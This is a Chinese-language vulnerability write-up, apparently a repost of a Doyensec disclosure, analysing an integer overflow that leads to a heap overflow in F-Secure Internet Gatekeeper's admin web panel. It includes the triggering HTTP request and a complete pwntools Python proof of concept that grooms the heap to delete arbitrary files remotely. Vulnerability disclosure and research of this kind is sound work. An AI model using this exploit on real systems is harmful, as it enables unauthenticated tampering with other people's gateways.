首页   

F-Secure Internet Gatekeeper堆缓冲区溢出漏洞分析

安全客  ·  · 4 年前

0x00 前言

本文介绍了我们在F-Secure Internet Gatekeeper应用中发现的一个漏洞,攻击者可利用该漏洞实现未认证远程代码执行效果。
 
0x01 环境搭建

我使用的是CentOS虚拟机,1个处理器核心,4GB内存。我们需要从官网下载并安装F-Secure Internet Gatekeeper根据我们了解,目前厂商已经下架了存在漏洞的版本。
受影响的原始安装包SHA256哈希值为:1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26
安装过程如下:
1、如果使用的是x64版的CentOS,执行yum install glibc.i686
2、使用rpm -I .rpm安装Internet Gatekeeper;
3、为了更方便调试,可以安装gdb 8+及GEF
现在可以使用GHIDRA/IDA或者拿手的反汇编器/反编译器开始逆向分析Internet Gatekeeper。
 
0x02 漏洞分析

根据F-Secure描述,Internet Gatekeeper是“在网关级别针对企业网络的高效且易管理的防护解决方案”。
F-Secure Internet Gatekeeper包含一个控制面板,运行在9012/tcp端口上。该面板可以用来控制产品中可用的所有服务及规则(HTTP代理、IMAP代理等)。控制面板通过HTTP协议访问,由fsikgwebui程序实现,该程序采用C语言编写。实际上整个web服务端都采用C/C++开发,其中部分引用到了civetweb,这表明服务端可能使用的是自定义版的CivetWeb
既然服务端采用C/C++开发,我们就可以尝试寻找内存破坏漏洞,这是这种语言中经常出现的问题。
我们选择使用Fuzzotron来fuzz管理面板,这是使用Radamsa作为底层引擎的fuzzer,很快我们就找到了这类漏洞。fuzzotron内置TCP支持,便于fuzz网络服务。在测试种子方面,我们提取了一个有效的POST请求,该请求用来更改管理面板的语言设置。未授权用户可以发起该请求,因此非常适用于作为fuzz种子。
在分析radamsa的输入样例时,我们可以看到该漏洞的根源与Content-Length头部字段有关。导致软件崩溃的测试用例头部特征为:Content-Length: 21487483844,这表明溢出漏洞与不正确的整数计算有关。
gdb中调试测试用例后,我们发现导致崩溃的代码位于fs_httpd_civetweb_callback_begin_request函数中,该方法负责处理入栈连接,根据HTTP操作类型、路径或者所使用的cookie来将请求分发至相关的函数进行处理。
为了演示漏洞,我们向管理面板所在的9012端口发送POST请求,其中设置了巨大的一个Content-Length头部值:
POST /submit HTTP/1.1Host: 192.168.0.24:9012Content-Length: 21487483844
AAAAAAAAAAAAAAAAAAAAAAAAAAA
目标应用会解析该请求,执行fs_httpd_get_header函数来获取Content-Length值。随后,该字段值会被传递给strtoul(字符串转换为无符号长整型)函数进行处理。
相关控制流对应的伪代码如下所示:
content_len = fs_httpd_get_header(header_struct, "Content-Length");if ( content_len ){   content_len_new = strtoul(content_len_old, 0, 10);}
为了理解strtoul函数的处理逻辑,我们可以查看对应的man页面。strtoul的返回值类型为无符号长整型,最大值为2^32-1(32位系统上)。
strtoul()函数会返回转换结果,如果输入值带有减号前缀,则返回转换结果的取反值作为无符号值。如果(非负)原始值溢出,strtoul()会返回ULONG_MAX,并将errno设置为ERANGE整个处理逻辑与strtoull()相同(后者对应的是ULLONG_MAX)。
由于我们提供的Content-Length对无符号长整型来说过长,因此strtoul会返回ULONG_MAX值,32位系统上对应的是0xFFFFFFFF
接着看一下漏洞逻辑。fs_httpd_civetweb_callback_begin_request函数尝试执行malloc请求,为我们的数据分配空间时,首先会在content_length变量上加1,然后调用malloc
相应的伪代码如下所示:
// fs_malloc == mallocdata_by_post_on_heap = fs_malloc(content_len_new + 1)
由于0xFFFFFFFF + 1会出现整数溢出,因此得到的结果值为0x00000000,最终malloc会分配大小为0字节的内存空间。
malloc的确允许我们使用0字节参数来调用,当调用malloc(0)时,函数会返回指向堆的一个有效指针,该指针指向大小最小的一个chunk(大小为0x10字节)。我们也可以在man页面中了解这一行为:
malloc()函数会分配size字节大小的空间,返回指向已分配内存的一个指针,该内存区域未经初始化。如果size等于0,那么malloc()就会返回NULL或者一个有效的指针值,以便后续free()执行释放操作。
如果进一步分析Internet Gatekeeper的代码,可以看到其中调用了mg_read
// content_len_new is without the addition of 0x1.// so content_len_new == 0xFFFFFFFFif(content_len_new){    int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)}
在溢出过程中,该代码会读取堆上任意数量的数据,没有任何约束条件。对于漏洞利用而言,这是非常优秀的一个利用原语,我们可以停止向HTTP流写入数据,目标软件会简单关闭连接并继续执行。在这种情况下,我们可以完全控制希望写入的字节数。
总而言之,我们可以利用malloc返回的0x10大小chunk,通过任意数据溢出来覆盖已有的内存结构。这里我们可以参考如下PoC代码,这段代码比较粗糙,利用了堆上已有的一个结构,修改标志值(should_delete_file = true),然后将我们想要删除的文件完整路径喷射到堆上。Internet Gatekeeper内部处理程序中包含一个decontruct_http方法,该方法会寻找该标志,执行文件删除操作。利用这一点,攻击者可以删除任意文件,这足以说明漏洞的严重程度。
from pwn import *import timeimport sys
def send_payload(payload, content_len=21487483844, nofun=False): r = remote(sys.argv[1], 9012) r.send("POST / HTTP/1.1\n") r.send("Host: 192.168.0.122:9012\n") r.send("Content-Length: {}\n".format(content_len)) r.send("\n") r.send(payload) if not nofun: r.send("\n\n") return r
def trigger_exploit(): print "Triggering exploit" payload = "" payload += "A" * 12 # Padding payload += p32(0x1d) # Fast bin chunk overwrite payload += "A"* 488 # Padding payload += p32(0xdda00771) # Address of payload payload += p32(0xdda00771+4) # Junk r = send_payload(payload)
def massage_heap(filename): print "Trying to massage the heap....." for x in xrange(100): payload = "" payload += p32(0x0) # Needed to bypass checks payload += p32(0x0) # Needed to bypass checks payload += p32(0xdda0077d) # Points to where the filename will be in memory payload += filename + "\x00" payload += "C"*(0x300-len(payload)) r = send_payload(payload, content_len=0x80000, nofun=True) r.close() cut_conn = True print "Heap massage done"
if __name__ == "__main__": if len(sys.argv) != 3: print "Usage: ./{} ".format(sys.argv[0]) print "Run `export PWNLIB_SILENT=1` for disabling verbose connections" exit() massage_heap(sys.argv[2]) time.sleep(1) trigger_exploit() print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
目前漏洞利用的成功率为67~70%,并且我们的PoC依赖于前面所搭建的测试环境。
由于我们可以精准控制chunk大小,在小chunk上覆盖尽可能多数据,因此该漏洞肯定能达到RCE效果。此外,目标应用使用了多个线程,因此我们可以利用该特点进入干净的堆区域,多次尝试漏洞利用。如果大家想进一步跟我们合作,可以将RCE PoC发送至我们的info@doyensec.com“>邮箱。
F-Secure为该问题分配的编号为FSC-2019-3,在5.40 – 5.50 hotfix 8版的Internet Gatekeeper(2019年7月11日发布)中修复了该漏洞。
 
0x03 参考资料

Linux堆溢出利用系列文章

  • Linux Heap Exploitation Intro Series: Set you free() – part 1
  • Linux Heap Exploitation Intro Series: Set you free() – part 2

GLibC背景知识

  • GLibC Malloc for Exploiters – YouTube
  • Understanding the GLibC Implementation – Part 1
  • Understanding the GLibC Implementation – Part 2

相关工具

  • GEF – 辅助漏洞利用的GDB扩展,也能在堆漏洞利用调试中提供非常有用的一些命令。
  • Villoc – 通过HTML可视化表示堆布局。

推荐文章
迈步75zc  ·  这所军校,两个月7次登上新闻联播  ·  4 年前  
太湖浪子  ·  【纪实】早恋少年(17)好人好事  ·  5 年前  
© 2022 51好读
删除内容请联系邮箱 2879853325@qq.com